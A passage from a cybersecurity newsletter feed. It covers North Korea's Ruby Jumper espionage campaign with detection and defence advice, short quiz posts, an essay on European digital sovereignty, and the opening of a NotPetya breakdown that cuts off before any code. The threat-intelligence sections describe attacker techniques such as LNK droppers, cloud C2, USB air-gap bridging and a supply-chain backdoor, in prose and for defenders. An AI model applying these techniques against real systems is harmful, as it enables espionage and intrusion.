make HTTPS connections to cloud storage endpoints, particularly those that spawn from PowerShell or inject into other processes and deep packet inspection, where endpoint agents can correlate file-level activity with network activity. Neither is easy nor cheap, and both require mature security tooling that many organisations simply do not have.</p><p><strong>Air-Gap Bridging Via USB Is Not New, But It Is Getting More Sophisticated</strong></p><p>The USB-based air-gap bridging technique used by THUMBSBD and VIRUSTASK is not novel. Stuxnet, the most famous air-gap attack in history, used a similar approach. Russian APT groups have deployed similar tooling against Ukrainian industrial systems. What is notable about Ruby Jumper is the division of labour between two dedicated implants for this purpose, and the integration of the USB channel into a broader modular framework that includes cloud C2, surveillance, and persistence.</p><p>The implication for organisations that rely on air gaps as a security control is sobering: the air gap only holds if physical access to the isolated network is strictly controlled, and if every device that crosses the boundary, USB drives, laptops taken to meetings, maintenance equipment, is treated as potentially hostile. That level of operational security is extremely difficult to maintain in practice.</p><p><strong>The Ruby Runtime Trick Is Worth Watching</strong></p><p>Installing a full programming language runtime as part of a malware deployment is unusual enough to warrant attention. The technique works because security tooling tends to focus on known malicious executables and suspicious unsigned binaries, not on Ruby interpreter processes running .rb files that were installed by a scheduled task three weeks ago.</p><p>If this method proves effective and Ruby Jumper indicates it does, other threat actors are likely to adopt similar variations. Expect to see more campaigns that bootstrap legitimate interpreter environments (Python, Lua, Node.js) to deploy malicious code in a form that blends into developer machines and legitimate software environments.</p><h2><strong>Detection and Defensive Recommendations</strong></h2><p>The following indicators and defensive measures are derived from the Zscaler ThreatLabz analysis of Ruby Jumper.</p><p><strong>What to Look For</strong></p><ul><li><p>LNK files arriving via email or downloaded from external sources that spawn PowerShell processes, particularly those that scan their own directory and carve payloads from fixed file offsets</p></li><li><p>Unexpected installation of Ruby runtime environments, especially via scheduled tasks or batch scripts</p></li><li><p>Processes making HTTPS connections to Zoho WorkDrive, Google Drive, OneDrive, pCloud, or BackBlaze that were not spawned by a known user-facing application</p></li><li><p>Hidden directories created on removable media, particularly those containing .bat or .ps1 files</p></li><li><p>Scheduled tasks pointing to Ruby .rb files in uncommon directories</p></li><li><p>Outbound TCP connections using custom binary protocols from processes that should not be making direct network connections</p></li></ul><p><strong>Defensive Measures</strong></p><ul><li><p>Enable application whitelisting to prevent unauthorised Ruby (or other interpreter) runtime installations</p></li><li><p>Implement USB device control policies that prevent automatic execution from removable media and log all USB insertion events</p></li><li><p>Deploy endpoint detection capable of correlating process behaviour with network activity, not just file-level signatures</p></li><li><p>For truly sensitive environments, enforce strict removable media controls: all USB drives that cross the air-gap boundary should be scanned on an isolated inspection machine before use</p></li><li><p>Monitor for anomalous HTTPS traffic to cloud storage endpoints from non-standard processes, even within otherwise trusted domains</p></li><li><p>Review scheduled tasks regularly. Legitimate software rarely installs scheduled tasks that invoke script interpreters without user knowledge</p></li></ul><h2><strong>Conclusion</strong></h2><p>Ruby Jumper is a mature, well-engineered espionage campaign from one of North Korea&#8217;s most experienced threat actors. It does not rely on any single novel technique. LNK droppers, cloud C2 abuse, USB bridging, and custom surveillance implants are all established approaches. What makes it significant is the sophistication with which those techniques are combined into a coherent, modular, and resilient framework.</p><p>The campaign&#8217;s use of Zoho WorkDrive marks a deliberate expansion of ScarCruft&#8217;s cloud infrastructure abuse, and the purpose-built separation of THUMBSBD and VIRUSTASK into dedicated exfiltration and propagation components shows a level of operational discipline that should concern defenders protecting sensitive networks.</p><p>The air gap is not broken. But Ruby Jumper is a reminder that an air gap is only as strong as the operational security practices surrounding it, and that North Korean intelligence services are investing significant resources in finding gaps in those practices.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/p/ruby-jumper-how-north-koreas-scarcruft?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/p/ruby-jumper-how-north-koreas-scarcruft?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p><div><hr></div><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h2><strong>Sources</strong></h2><p><strong>1. </strong><a href="https://www.zscaler.com/blogs/security-research/apt37-adds-new-capabilities-air-gapped-networks">APT37 Adds New Capabilities for Air-Gapped Networks &#8212; Zscaler ThreatLabz</a><em>  </em></p><p><strong>2. </strong><a href="https://thehackernews.com/2026/02/scarcruft-uses-zoho-workdrive-and-usb.html">ScarCruft Uses Zoho WorkDrive and USB Malware to Breach Air-Gapped Networks &#8212; The Hacker News</a><em>  </em></p><p><strong>3. </strong><a href="https://thehackernews.com/2024/01/north-korean-hackers-weaponize-fake.html">North Korean Hackers Weaponize Fake Research to Deliver RokRAT Backdoor &#8212; The Hacker News</a><em>  </em></p><p><strong>4. </strong><a href="https://thehackernews.com/2022/12/north-korea-hackers-using-new-dolphin.html">North Korea Hackers Using New DOLPHIN Backdoor to Spy on South Korean Targets &#8212; The Hacker News</a><em>  </em></p><p><strong>5. </strong><a href="https://thehackernews.com/2021/08/nk-hackers-deploy-browser-exploit-on.html">NK Hackers Deploy Browser Exploit on Watering Hole Sites to Install BLUELIGHT Malware &#8212; The Hacker News</a><em>  </em></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-f98</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-f98</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Sun, 01 Mar 2026 14:02:06 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/46e46abb-1b1f-4b06-a636-84db5a9a0cb2_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:453838}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: SQL parameterization</p><ul><li><p>SQL parameterization is a technique used to prevent SQL injection attacks, not DDoS attacks.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-4df</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-4df</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Sat, 28 Feb 2026 14:01:10 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/71867934-e4e2-4a58-a4c5-8f4884edd4a5_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:453833}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: Forwarding </p><ul><li><p>The port is fully operational, sending and receiving all data frames</p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-ed6</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-ed6</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Fri, 27 Feb 2026 14:02:44 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/882c6f3e-6397-4045-9cbe-6de70288c5d7_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:453830}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: Impersonating identity</p><ul><li><p>Spoofing is a type of cyber attack where a person or program acts as another to gain an illicit advantage or access.</p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Europe Is Waking Up to Its Digital Dependency, and It's Uncomfortable]]></title><description><![CDATA[Washington's unpredictability is doing what years of EU policy couldn't: forcing Europe off American infrastructure]]></description><link>https://emilianocybersec.substack.com/p/europe-is-waking-up-to-its-digital</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/europe-is-waking-up-to-its-digital</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Thu, 26 Feb 2026 17:27:13 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/bae53cc8-d0fc-42ff-a91e-e46e0c57fce4_6888x3432.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The data tells a story Europeans would rather not confront. American hyperscalers (Amazon Web Services, Microsoft Azure, and Google Cloud) control roughly 70% of the European cloud market (IaaS and PaaS combined, 2025 estimates). European firms, by contrast, hold just 15% of their own market, down from 29% in 2017. On every layer of the digital stack (hardware, software, cloud, AI, social platforms), Europe is a tenant in someone else&#8217;s building.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UWMg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UWMg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 424w, https://substackcdn.com/image/fetch/$s_!UWMg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 848w, https://substackcdn.com/image/fetch/$s_!UWMg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 1272w, https://substackcdn.com/image/fetch/$s_!UWMg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UWMg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png" width="1434" height="1034" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1034,&quot;width&quot;:1434,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:62903,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://emilianocybersec.substack.com/i/189264887?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UWMg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 424w, https://substackcdn.com/image/fetch/$s_!UWMg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 848w, https://substackcdn.com/image/fetch/$s_!UWMg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 1272w, https://substackcdn.com/image/fetch/$s_!UWMg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7b812b6-57d7-4a84-bba1-feb9319ad2f8_1434x1034.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/p/europe-is-waking-up-to-its-digital?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/p/europe-is-waking-up-to-its-digital?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p><p>That fact was tolerable when Washington was a reliable landlord. It is significantly less tolerable now.</p><div><hr></div><h2>The Trigger: Trump 2.0 and the Weaponisation of Tech</h2><p>Donald Trump&#8217;s return to the White House in January 2025 did more to accelerate Europe&#8217;s push for digital sovereignty than a decade of <a href="https://gdpr-info.eu/">GDPR</a> enforcement ever managed. Within weeks, the administration issued a memorandum framing EU digital regulations (the <a href="https://digital-strategy.ec.europa.eu/en/policies/digital-services-act-package">Digital Services Act</a>, the <a href="https://digital-markets-act.ec.europa.eu/index_en">Digital Markets Act</a>, and digital services taxes) not as legitimate regulatory activity but as &#8220;extortion&#8221; targeting American companies. By August, Trump was posting direct threats on Truth Social: &#8220;I will stand up to Countries that attack our incredible American Tech Companies.&#8221;</p><p>The message was unambiguous. Europe&#8217;s right to regulate its own digital market was, in Washington&#8217;s view, negotiable. That realisation landed differently than any abstract argument about sovereignty could.</p><p>&#8220;Trump&#8217;s threats have spurred a European awakening,&#8221; researchers from France 24 noted in early 2026, though they were careful to add that similar urgency followed the <a href="https://www.theguardian.com/world/2013/jun/06/nsa-phone-records-verizon-court-order">Snowden revelations</a> in 2013 and dissipated quickly. The question now is whether this time the political will survives the news cycle.</p><div><hr></div><h2>The Legal Architecture of Dependency</h2><p>The sovereignty problem is not merely political. It is structural and legal. The <a href="https://www.justice.gov/file/1480346/dl">2018 US CLOUD Act</a> allows American law enforcement to compel US-based technology companies to hand over user data regardless of where that data is physically stored. A government ministry in Berlin running its operations on Microsoft Azure is, under American law, potentially subject to American jurisdiction. European data protection rules offer no guaranteed shield.</p><p>This is the core tension European governments are grappling with: they can pass the world&#8217;s most rigorous data privacy legislation (and Europe has) while remaining entirely dependent on infrastructure governed by a foreign legal system with extraterritorial reach.</p><p>Estonia has been among the most direct in naming this vulnerability. &#8220;While we value our technological partnerships, relying solely on closed, proprietary &#8216;black box&#8217; solutions creates a strategic vulnerability,&#8221; Liisa Pakosta, the country&#8217;s minister of justice and digital affairs, told CNBC in February 2026. For Estonia (which shares a border with Russia and has faced sustained Russian cyberattacks), digital sovereignty is not a trade policy talking point. It is, as Pakosta put it, &#8220;a matter of national survival, not just IT policy.&#8221;</p><div><hr></div><h2>The EuroStack and the Gaia-X Cautionary Tale</h2><p>The flagship concept driving Europe&#8217;s response is the &#8220;<a href="https://www.ceps.eu/ceps-publications/eurostack-a-european-alternative-for-digital-sovereignty/">EuroStack</a>&#8220;: a framework that maps digital technologies into interconnected layers, from semiconductors and cloud infrastructure up through AI and software services, and charts where European alternatives need to be built. The concept was formally articulated by a group of competition economists and policy researchers in early 2025, drawing lessons from a notable prior failure: <a href="https://gaia-x.eu/">Gaia-X</a>.</p><p>Launched in 2020 as an ambitious Franco-German project to build a federated European cloud ecosystem, Gaia-X became a case study in how easily sovereignty projects are captured. American companies (Microsoft, Google, AWS) lobbied their way into the initiative&#8217;s governance structures, framing participation as partnership rather than conflict.</p><p>The structural result was predictable. &#8220;Once they were inside Gaia-X, the initiative lost its purpose,&#8221; argued competition expert Cristina Caffarra, one of the driving forces behind the Eurostack initiative. What remained was a body producing standards documents and certification labels, not a transformed commercial landscape. Standards, it turned out, are not the same as sovereignty.</p><p>The lesson the Eurostack proponents draw is sharp: you cannot outsource independence to the entities you are trying to become independent from. What critics now call &#8220;sovereignty-washing&#8221; (American hyperscalers marketing European-branded versions of their services as genuinely sovereign solutions) is the same dynamic in updated form.</p><p>AWS, Google, and Microsoft have all launched EU-specific cloud units in response to growing European anxiety about data residency. Whether legal structures created under American corporate umbrellas provide genuine sovereignty from the CLOUD Act remains legally untested and politically contested.</p><div><hr></div><h2>The Numbers: How Much Would Independence Actually Cost?</h2><p>The <a href="https://cepa.org/article/digital-sovereignty-can-europe-afford-it/">Center for European Policy Analysis (CEPA)</a> ran the calculation in late 2025 and the figure was sobering: full technological independence from American systems would cost an estimated 3.6 trillion euros. The European Commission&#8217;s own digital sovereignty agenda (more narrowly scoped) remains one of the bloc&#8217;s most significant policy priorities.</p><p><a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-09-gartner-says-worldwide-sovereign-cloud-iaas-spending-will-total-us-dollars-80-billion-in-2026">Gartner</a> predicted that sovereign cloud spending in Europe would more than triple by 2027, reaching $23 billion. Governments will remain the primary buyers, followed by regulated industries and critical infrastructure operators in energy, utilities, and telecommunications.</p><p>CEPA&#8217;s analysis argued that complete independence is the wrong goal. Resilient strategic partnerships, redundancy through diversification, and selective capability-building in critical areas (semiconductors, cloud, AI, space) is a more realistic and cost-effective path than attempting to replicate Silicon Valley from scratch. Others, particularly those aligned with the EuroStack initiative, push back on this framing, arguing that &#8220;just enough&#8221; independence in key areas is precisely the point: not autarky, but enough leverage that a foreign power cannot unilaterally switch off European digital infrastructure.</p><div><hr></div><h2>On the Ground: Citizens and the De-Googling Movement</h2><p>The debate is not confined to Brussels policy papers. In Germany, the <a href="https://www.ccc.de/en/">Chaos Computer Club</a> has been running monthly &#8220;de-Googling&#8221; sessions: community meetings across the country on the first Sunday of each month, designed to walk people through practical alternatives to American services. LibreOffice over Microsoft Word. Mastodon over X. Signal over WhatsApp.</p><p>&#8220;We want to offer concrete, free and gradual help to get rid of American services,&#8221; said Jochim Selzer, one of the club&#8217;s spokespersons on digital self-defence. &#8220;The idea is to turn a process that can seem tedious and technical into something rather fun and collaborative.&#8221;</p><p>Research data from Similarweb indicates that interest in European digital services (email, messaging, search engines) has grown measurably since early 2025, correlating with Trump&#8217;s return and the subsequent political friction. Whether that interest translates into lasting behavioural change is less certain. Privacy-focused European alternatives exist across most categories: messaging, webmail, search, and office software. <a href="https://proton.me/">Proton</a>, the Swiss-based encrypted email and VPN provider, is among the more widely adopted examples. Their challenge as a class isn't about technical quality. Instead, it's about network effects and marketing budgets that have grown over many decades.</p><p>&#8220;It&#8217;s no fun being on the most perfect social network if nobody else is there,&#8221; one digital sovereignty researcher noted. Critical mass matters, and Big Tech spent decades building it.</p><div><hr></div><h2>What Europe Actually Controls: Regulation</h2><p>Where Europe has genuine leverage is in its regulatory framework. The <a href="https://digital-markets-act.ec.europa.eu/index_en">Digital Markets Act</a>, the <a href="https://digital-strategy.ec.europa.eu/en/policies/digital-services-act-package">Digital Services Act</a>, and the <a href="https://gdpr-info.eu/">GDPR</a> collectively represent the world&#8217;s most consequential digital regulation regime. In April 2025, the European Commission fined both Apple and Meta under the DMA. The EU&#8217;s proposed <a href="https://commission.europa.eu/strategy-and-policy/priorities-2024-2029/europe-digital-age/democracy-shield_en">Democracy Shield</a> aims to systematise defences against foreign disinformation operations.</p><p>The EU also declared 2025 the <a href="https://digital-decade.ec.europa.eu/">European Year of Digital Citizenship Education</a>, a gesture toward the longer-term project of building public understanding and demand for alternatives.</p><p>But critics argue that European competition policy over the past two decades, by preventing the formation of European technology champions while American firms achieved monopolistic scale, produced the dependency it is now trying to regulate its way out of. As one analysis put it bluntly, Europeans were lectured by the very Americans who practised it systematically that industrial policy violated market principles. (<a href="https://www.noemamag.com/reclaiming-europes-digital-sovereignty/">Noema Magazine</a>)</p><div><hr></div><h2>The Realistic Assessment</h2><p>Europe&#8217;s position in 2026 is paradoxical. It is a global regulatory standard-setter (<a href="https://gdpr-info.eu/">GDPR</a> and the <a href="https://artificialintelligenceact.eu/">AI Act</a> have influenced legislation across dozens of jurisdictions), but it owns roughly 4% of global cloud infrastructure. It sets the rules of the game in its own market while playing on an opponent&#8217;s pitch.</p><p>Complete de-Americanization of European tech is not happening anytime soon. Forrester predicted in late 2025 that no European enterprise would shift entirely from US hyperscalers in 2026. The dependencies are too deep, the switching costs too high, and the European alternatives in AI and frontier cloud infrastructure too nascent.</p><p>What is shifting is the political calculus. For the first time, broad coalitions (from Baltic security ministries to German civil society groups to French competition economists) are converging on the view that the status quo is a strategic risk, not just an inconvenience. Whether that convergence produces the sustained institutional investment required to change it, or dissipates as the post-Snowden moment did in 2013, is the open question that will define Europe&#8217;s digital future.</p><p>The strongest argument against urgency is the one that has prevailed for thirty years: hyperscaler dependency has worked. American cloud infrastructure is reliable, cheap, and technically superior to anything Europe currently offers at scale. Why disrupt an arrangement that functions?</p><p>The answer is that it functions under specific conditions. The <a href="https://www.justice.gov/file/1480346/dl">CLOUD Act</a> means European data on American servers is subject to American law, regardless of GDPR. Trump&#8217;s explicit threats to restrict digital services to countries with &#8220;discriminatory&#8221; tech regulations showed that access can be politicised. And in war-time or sanctions scenarios (ask any Ukrainian institution how much they want their critical systems on infrastructure a foreign government can switch off) the fragility becomes existential. Europe is trying to regulate the digital world while renting the servers it runs on. That arrangement survived a friendly landlord. It may not survive a hostile one.</p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p><div><hr></div><h2>Sources</h2><ul><li><p><a href="https://www.atlanticcouncil.org/in-depth-research-reports/report/digital-sovereignty-europes-declaration-of-independence/">Digital sovereignty: Europe&#8217;s declaration of independence? &#8212; Atlantic Council</a></p></li><li><p><a href="https://www.theregister.com/2025/12/22/europe_gets_serious_about_cutting/">Europe gets serious about cutting digital umbilical cord with Uncle Sam&#8217;s big tech &#8212; The Register</a></p></li><li><p><a href="https://ecfr.eu/publication/get-over-your-x-a-european-plan-to-escape-american-technology/">Get over your X: A European plan to escape American technology &#8212; ECFR</a></p></li><li><p><a href="https://www.france24.com/en/technology/20260204-digital-sovereignty-european-citizens-trapped-into-using-us-big-tech">Digital sovereignty (3/3): Are European citizens trapped into using US Big Tech? &#8212; France 24</a></p></li><li><p><a href="https://cepa.org/article/digital-sovereignty-can-europe-afford-it/">Digital Sovereignty: Can Europe Afford It? &#8212; CEPA</a></p></li><li><p><a href="https://carnegieendowment.org/research/2025/06/rethinking-eu-digital-policies-from-tech-sovereignty-to-tech-citizenship?lang=en">Rethinking EU Digital Policies: From Tech Sovereignty to Tech Citizenship &#8212; Carnegie Endowment</a></p></li><li><p><a href="https://www.cnbc.com/2026/02/18/europe-digital-sovereignty-geopolitical-tensions.html">Europe bids for digital sovereignty amid Russia threats, Trump &#8212; CNBC</a></p></li><li><p><a href="https://www.noemamag.com/reclaiming-europes-digital-sovereignty/">Reclaiming Europe&#8217;s Digital Sovereignty &#8212; Noema Magazine</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-cfb</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-cfb</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Thu, 26 Feb 2026 14:02:02 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/f58aa70b-15af-4f4d-ac35-946a71106745_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:453829}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: IDS (Intrusion Detection System) </p><ul><li><p>IDS is designed to monitor network traffic for suspicious activity, known as attack patterns (signatures, or policy violations. It acts acts as a passive monitoring system that alerts admins when there is a potential breach.</p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Technical Breakdown of NotPetya]]></title><description><![CDATA[How a nation-state cyber weapon disguised as ransomware wiped over $10 billion from the global economy in a single day]]></description><link>https://emilianocybersec.substack.com/p/technical-breakdown-of-notpetya</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/technical-breakdown-of-notpetya</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Wed, 25 Feb 2026 21:20:37 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/41ac718f-0885-4821-8f8f-0a6e1fb805e4_732x432.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On June 27, 2017, malware began spreading from Ukrainian accounting software and tore through the networks of multinationals, hospitals, and shipping firms across 60+ countries. It looked like ransomware. It wasn&#8217;t. This is a technical breakdown of how NotPetya worked.</p><div><hr></div><h2>Phase 1: Supply Chain Compromise (Initial Access)</h2><p>The attackers technically attributed via malware lineage and infrastructure overlap, and formally named by US, UK, Australian, and Canadian intelligence as GRU Sandworm (Unit 74455); no public cryptographic proof has been released &#8212; compromised M.E.Doc, a Ukrainian accounting app with ~400,000 customers, and planted a backdoor inside the legitimate updater module (<code>ZvitPublishedObjects.dll</code>) as early as April 2017. It beaconed to a C2 server, received the NotPetya payload, and executed it silently. Exfiltrated org data was hidden in a Cookie header disguised as Google Analytics traffic.</p><p><em>All code blocks below are pseudocode-style reconstructions, logic accurate, primitives incomplete, and non-operational.</em></p><div 